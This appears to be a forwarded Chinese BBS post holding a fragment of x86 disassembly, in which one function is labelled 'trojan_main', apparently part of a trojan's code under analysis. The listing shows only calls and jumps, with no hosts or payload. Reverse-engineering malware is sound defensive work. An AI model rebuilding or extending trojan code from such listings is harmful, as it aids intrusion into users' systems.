0x804a785: push $0xb7
0x804a78a: call 0x8049624
0x804a78f: push $0x5
0x804a791: lea 0xffffff00(%ebp),%ebx
0x804a797: push %ebx
0x804a798: push $0x6
0x804a79a: call 0x8049c4c
0x804a79f: add $0x24,%esp
0x804a7a2: push $0x5
0x804a7a4: push %ebx
0x804a7a5: push %esi
0x804a7a6: call 0x8049718
0x804a7ab: add $0xc,%esp
0x804a7ae: cmp $0x1,%eax
0x804a7b1: je 0x804a7d0
0x804a7b3: push $0x4
0x804a7b5: push %ebx
0x804a7b6: push $0x7
0x804a7b8: call 0x8049c4c
0x804a7bd: push $0x4
0x804a7bf: push %ebx
0x804a7c0: push %esi
0x804a7c1: call 0x8049718
0x804a7c6: cmp $0x1,%eax
0x804a7c9: je 0x804a7d0
0x804a7cb: xor %eax,%eax
0x804a7cd: jmp 0x804a7d5
0x804a7cf: nop
0x804a7d0: mov $0x1,%eax
0x804a7d5: lea 0xfffffef8(%ebp),%esp
0x804a7db: pop %ebx
0x804a7dc: pop %esi
0x804a7dd: leave
0x804a7de: ret
0x804a7df: nop
// trojan_main
0x804a7e0: push %ebp
0x804a7e1: mov %esp,%ebp
0x804a7e3: call 0x804a5cc
0x804a7e8: cmp $0x1,%eax
0x804a7eb: jne 0x804a7f4
0x804a7ed: mov $0x1,%eax
0x804a7f2: jmp 0x804a831
0x804a7f4: call 0x804a6b0
0x804a7f9: test %eax,%eax
0x804a7fb: je 0x804a82c
0x804a7fd: push %eax
0x804a7fe: call 0x80496d8
0x804a803: push $0x2
0x804a805: call 0x8049604
0x804a80a: add $0x8,%esp
0x804a80d: test %eax,%eax
0x804a80f: jne 0x804a82c
0x804a811: call 0x804a6b0
0x804a816: test %eax,%eax
0x804a818: jne 0x804a820
0x804a81a: xor %eax,%eax
0x804a81c: jmp 0x804a831
0x804a81e: mov %esi,%esi
0x804a820: call 0x804a418
0x804a825: xor %eax,%eax
0x804a827: jmp 0x804a831
0x804a829: lea 0x0(%esi),%esi
0x804a82c: call 0x804a764
0x804a831: leave
0x804a832: ret
--
※ 来源:.UNIX编程WWW apue.dhs.org. [FROM: 202.108.200.52]
--
※ 转寄:·UNIX编程 apue.dhs.org·[FROM: 210.39.3.50]
--
※ 转载:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.0.146]
[回到开始]
[上一篇][下一篇]
荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店